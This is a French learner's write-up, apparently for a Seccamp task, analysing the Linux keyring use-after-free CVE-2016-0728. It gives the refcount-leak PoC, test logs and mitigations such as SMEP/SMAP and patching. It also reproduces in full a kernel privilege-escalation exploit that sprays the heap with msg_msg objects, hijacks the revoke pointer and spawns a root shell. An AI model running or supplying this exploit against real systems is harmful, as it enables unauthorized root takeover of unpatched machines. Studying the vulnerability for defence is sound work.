
# Exploit du noyau Linux à but éducatif pour CVE-2016-0728 (use-after-free dans le service de rétention des clés) avec analyse détaillée, code PoC et discussion sur les mesures d'atténuation pour l'élévation de privilèges.
Seccamp 2017 - Sujet
Le programme suivant exploite une vulnérabilité présente dans le noyau Linux 3.8 à 4.4. Expliquez les problèmes qui surviennent lors de l'exécution de ce programme. De plus, rédigez un exploit qui utilise cette vulnérabilité pour une escalade de privilèges vers root, et décrivez l'environnement de test que vous avez utilisé ainsi que les points d'ingéniosité. En outre, énumérez autant que possible les mesures d'atténuation contre de telles attaques et expliquez-les. Même si vous ne comprenez pas complètement, décrivez avec vos propres mots les informations comprises, le processus de test et vos impressions. Si vous avez consulté des sites ou des documents, indiquez clairement ces sources.
#include <stddef.h>
#include <stdio.h>
#include <sys/types.h>
#include <keyutils.h>
int main(int argc, const char *argv[])
{
int i = 0;
key_serial_t serial;
serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, "leaked-keyring");
if (serial < 0) {
perror("keyctl");
return -1;
}
if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL) < 0) {
perror("keyctl");
return -1;
}
for (i = 0; i < 100; i++) {
serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, "leaked-keyring");
if (serial < 0) {
perror("keyctl");
return -1;
}
}
return 0;
}
L'environnement de test est le suivant :
$ uname -r
3.19.0-80-generic
$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 14.04.5 LTS
Release: 14.04
Codename: trusty
J'ai découvert cette vulnérabilité pour la première fois, et je décris ici ce que j'ai appris en cherchant ainsi que ce que j'ai essayé au cours de ce processus. Tout d'abord, j'explique le service de stockage de clés utilisé dans ce programme, puis la vulnérabilité Use-After-Free exploitée par ce programme et ce qui la cause dans le programme, et enfin les problèmes qui en découlent. Cette vulnérabilité est enregistrée sous le nom CVE-2016-0728, et j'ai consulté le site suivant pour son aperçu :
Comme c'était aussi la première fois que j'entendais parler du service de stockage de clés Linux, j'ai consulté la page Web d'introduction au service de stockage de clés Linux d'IBM :
https://www.ibm.com/developerworks/jp/linux/library/l-key-retention.html
ainsi que le code source du noyau Linux 3.19 de l'environnement de test :
Pour envoyer les messages du noyau à l'OS hôte via le réseau, j'ai utilisé : DEBUG HACKS - Techniques & outils pour maîtriser le débogage (O'REILLY)
Ce programme (appelé leak.c ci-après) exploite un bogue dans le service de stockage de clés Linux, qui conduit à une vulnérabilité Use-After-Free. La vulnérabilité Use-After-Free se produit lorsqu'une incohérence du programme permet de référencer une adresse mémoire de tas déjà libérée, rendant possible l'exécution de code arbitraire. Tout d'abord, j'explique l'appel système keyctl() utilisé par ce programme, puis je décris le bogue qui s'y trouve.
Chaque processus peut créer un trousseau de clés (keyring) par processus pour la session courante via l'appel système keyctl(KEYCTL_JOIN_SESSION_KEYRING, name). Ce trousseau peut être partagé entre les processus en utilisant le nom name. Si un processus possède déjà un trousseau de session, cet appel système le remplace par un nouveau trousseau. Pour mieux comprendre ce comportement, j'ai consulté la fonction join_session_keyring dans /security/keys/process_keys.c du code source du noyau. Elle se présente comme suit : lors du remplacement du trousseau de session par un nouveau, la fonction key_put est sautée. key_put est une fonction qui détruit la référence au trousseau passé en argument. En la sautant, la référence au nouveau trousseau persiste, ce qui conduit à la vulnérabilité Use-After-Free.
Lorsque ce trousseau est partagé entre les processus, le compteur de références interne stocké dans le membre usage de la structure key augmente. Le membre usage est de type atomic_t, qui est en fait défini comme un typedef d'une structure contenant une seule variable int. De plus, comme il n'y a pas de mécanisme pour empêcher le débordement de ce membre, on peut augmenter ce membre jusqu'à ce qu'il déborde et atteigne 0. Lorsque usage atteint 0, le trousseau est libéré par le ramasse-miettes interne du sous-système de clés. En plaçant dans cette zone libérée, depuis l'espace utilisateur, un module noyau effectuant un traitement arbitraire, ce traitement peut être exécuté avec les privilèges du noyau.
Sur le site consulté, si l'on compile leak.c avec la bibliothèque keyutils et qu'on l'exécute, un trousseau de session nommé leaked_key est enregistré dans /proc/keys et est référencé 100 fois. Il vérifiait que leaked-keyring s'affiche comme suit avant et après l'exécution de ce programme :
# Avant exécution
$ cat /proc/keys
$ ./leak
# Après exécution
$ cat /proc/keys
0fd435e9 I--Q--- 100 perm 3f3f0000 1000 1000 keyring leaked-keyring: empty
Cependant, dans mon environnement de test, leaked-keyring ne s'affichait pas. J'ai essayé de mettre la condition de la boucle for à une valeur élevée comme i < 0x1000000, et pendant l'exécution du programme, leaked-keyring s'affichait. Dans ce cas, l'attaque réussit en faisant déborder usage pour libérer la clé, puis en plaçant un nouvel objet noyau à cet emplacement. J'ai donc décidé d'essayer. Le code de l'exploit a été consulté sur le site suivant :
https://gist.github.com/PerceptionPointTeam/18b1e86d1c0f8531ff8f
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <keyutils.h>
#include <unistd.h>
#include <time.h>
#include <unistd.h>
#include <sys/ipc.h>
#include <sys/msg.h>
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
#define STRUCT_LEN (0xb8 - 0x30)
#define COMMIT_CREDS_ADDR (0xffffffff81091cc0)
#define PREPARE_KERNEL_CREDS_ADDR (0xffffffff81091fc0)
struct key_type {
char * name;
size_t datalen;
void * vet_description;
void * preparse;
void * free_preparse;
void * instantiate;
void * update;
void * match_preparse;
void * match_free;
void * revoke;
void * destroy;
};
void userspace_revoke(void * key) {
commit_creds(prepare_kernel_cred(0));
}
int main(int argc, const char *argv[]) {
const char *keyring_name;
size_t i = 0;
unsigned long int l = 0x100000000/2;
key_serial_t serial = -1;
pid_t pid = -1;
struct key_type * my_key_type = NULL;
struct { long mtype;
char mtext[STRUCT_LEN];
} msg = {0x4141414141414141, {0}};
int msqid;
if (argc != 2) {
puts("usage: ./keys <key_name>");
return 1;
}
printf("uid=%d, euid=%d\n", getuid(), geteuid());
commit_creds = (_commit_creds) COMMIT_CREDS_ADDR;
prepare_kernel_cred = (_prepare_kernel_cred) PREPARE_KERNEL_CREDS_ADDR;
my_key_type = malloc(sizeof(*my_key_type));
my_key_type->revoke = (void*)userspace_revoke;
memset(msg.mtext, 'A', sizeof(msg.mtext));
// key->uid
*(int*)(&msg.mtext[56]) = 0x3e8; /* geteuid() */
//key->perm
*(int*)(&msg.mtext[64]) = 0x3f3f3f3f;
//key->type
*(unsigned long *)(&msg.mtext[80]) = (unsigned long)my_key_type;
if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
perror("msgget");
exit(1);
}
keyring_name = argv[1];
/* Set the new session keyring before we start */
serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name);
if (serial < 0) {
perror("keyctl");
return -1;
}
if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL | KEY_GRP_ALL | KEY_OTH_ALL) < 0) {
perror("keyctl");
return -1;
}
puts("Increfing...");
for (i = 1; i < 0xfffffffd; i++) {
if (i == (0xffffffff - l)) {
l = l/2;
sleep(5);
}
if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
perror("keyctl");
return -1;
}
}
sleep(5);
/* here we are going to leak the last references to overflow */
for (i=0; i<5; ++i) {
if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
perror("keyctl");
return -1;
}
}
puts("finished increfing");
puts("forking...");
/* allocate msg struct in the kernel rewriting the freed keyring object */
for (i=0; i<64; i++) {
pid = fork();
if (pid == -1) {
perror("fork");
return -1;
}
if (pid == 0) {
sleep(2);
if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
perror("msgget");
exit(1);
}
for (i = 0; i < 64; i++) {
if (msgsnd(msqid, &msg, sizeof(msg.mtext), 0) == -1) {
perror("msgsnd");
exit(1);
}
}
sleep(-1);
exit(1);
}
}
puts("finished forking");
sleep(5);
/* call userspace_revoke from kernel */
puts("caling revoke...");
if (keyctl(KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1) {
perror("keyctl_revoke");
}
printf("uid=%d, euid=%d\n", getuid(), geteuid());
execl("/bin/sh", "/bin/sh", NULL);
return 0;
}
Après exécution, les privilèges n'ont pas changé et le shell a démarré avec les droits de l'utilisateur exécutant. Ma première pensée a été : mon environnement a peut-être été mis à jour et le correctif appliqué. En effet, cette vulnérabilité a été divulguée vers janvier 2016, et mon environnement avait été mis à jour avant cela. J'ai donc essayé dans un nouvel environnement virtuel (kernel 3.18.52) en modifiant les valeurs constantes, mais cela n'a pas fonctionné. De plus, il a été rapporté que les mécanismes de protection mémoire SMAP et SMEP empêchent le bon fonctionnement de l'exploit. SMEP interdit l'exécution de code dans l'espace utilisateur en mode noyau, et SMAP interdit l'accès aux adresses de l'espace utilisateur en mode noyau. Dans les commentaires du gist, plusieurs personnes ont vérifié que sur kernel 3.18.25, l'UID passait à 0 mais la VM se figeait ; j'ai donc essayé ce code. Voici le lien : https://gist.github.com/hal0taso/47e9a1820d109bb7739321189f1c8830 . J'ai compilé un noyau (3.18.25) avec SMAP et SMEP désactivés et testé. L'environnement d'exécution est le suivant. SMAP a été désactivé dans .config lors de la compilation, et SMEP a été désactivé dans le fichier de configuration de grub (/boot/grub/grub.cfg).
$ uname -r
3.18.25
Dans cet environnement, l'exécution de leak a donné les résultats suivants dans /proc/keys :
$ cat /proc/keys
17990f68 I--Q--- 1 perm 1f3f0000 1000 65534 keyring _uid.1000: empty
3c04e61c I--Q--- 14 perm 3f030000 1000 1000 keyring _ses: 1
$ ./leak
$ cat /proc/keys
08054473 I--Q--- 100 perm 3f3f0000 1000 1000 keyring leaked-keyring: empty
17990f68 I--Q--- 1 perm 1f3f0000 1000 65534 keyring _uid.1000: empty
3c04e61c I--Q--- 14 perm 3f030000 1000 1000 keyring _ses: 1
L'objet keyring est bien visible, comme sur le site consulté. J'ai ensuite exécuté l'exploit, mais là encore, le shell a démarré avec les droits de l'utilisateur exécutant. J'ai donc surveillé /proc/keys avec la commande watch à intervalles de 0,1 seconde pendant l'exploit et j'ai constaté que si le compteur usage n'atteint pas exactement 0 (par exemple, si l'on spécifie le nom d'un keyring déjà créé lors d'une interruption précédente, le compteur usage de l'objet keyring continue d'augmenter après le débordement), join_session_keyring crée un nouvel objet keyring. J'ai donc pensé que le compteur de références devait être ajusté pour atteindre exactement 0, sinon l'objet clé ne serait pas libéré. Lorsque le compteur atteint 0, l'objet keyring disparaît effectivement, ce qui indique sa libération. Après plusieurs exécutions consécutives, j'ai observé que root était obtenu (uid=0, euid=0) mais que juste après, le noyau paniquait et la VM se figeait.
$ ./exploit PP_KEY
uid = 1000, euid = 1000
[+] increfs...
[+] finish increfs
[+] fork...
exploit...
uid = 0, euid = 0
Killed
J'ai donc transféré les messages du noyau vers l'OS hôte via netconsole pour lire les logs ; j'ai cherché les adresses des constantes comme commit_creds ou kernel_prepare_cred, mais je n'ai rien trouvé de correspondant. Finalement, je n'ai pas réussi à prendre le contrôle de root et à lancer un shell.
De ce qui précède, pour contrer les attaques exploitant cette vulnérabilité, il est possible de rendre l'attaque plus difficile en activant les mécanismes de protection noyau du CPU tels que SMAP et SMEP. De plus, peu après la divulgation de la vulnérabilité, chaque distribution fournit une mise à jour du noyau incluant le correctif ; appliquer cette mise à jour permet de prévenir l'attaque. En recherchant cette vulnérabilité, j'ai remarqué que lors de l'exécution du code PoC sur kernel 3.18.52, en surveillant /proc/keys, le compteur usage de l'objet keyring augmentait et diminuait alternativement. Cela m'a fait penser qu'entre les versions 3.18.25 et 3.18.52, le code relatif aux keyrings ou la fonction abort_creds utilisée dans join_session_keyring a pu être modifié, changeant ainsi le mécanisme d'incrémentation du compteur de références (ici, le membre usage). En effet, sur le site consulté, il était écrit que le compteur usage est incrémenté et décrémenté deux fois dans join_session_keyring, et que abort_creds effectue la décrémentation du compteur de manière asynchrone, après un traitement appelé RCU job, ce qui est important.
En me renseignant sur cette vulnérabilité, j'ai été surpris et inquiet d'apprendre qu'un utilisateur normal pouvait élever ses privilèges à ceux de root. Cependant, en vérifiant le code PoC de l'exploit et en cherchant, j'ai appris que l'attaquant doit également identifier la version du noyau, et que si SMEP ou SMAP sont actifs, il doit aussi contourner ces protections. De plus, l'attaque n'est pas garantie de succès et, en cas d'échec, provoque un panic du noyau, ce qui attire l'attention. J'ai donc commencé à douter de l'utilité réelle de cette attaque comme méthode d'exploitation.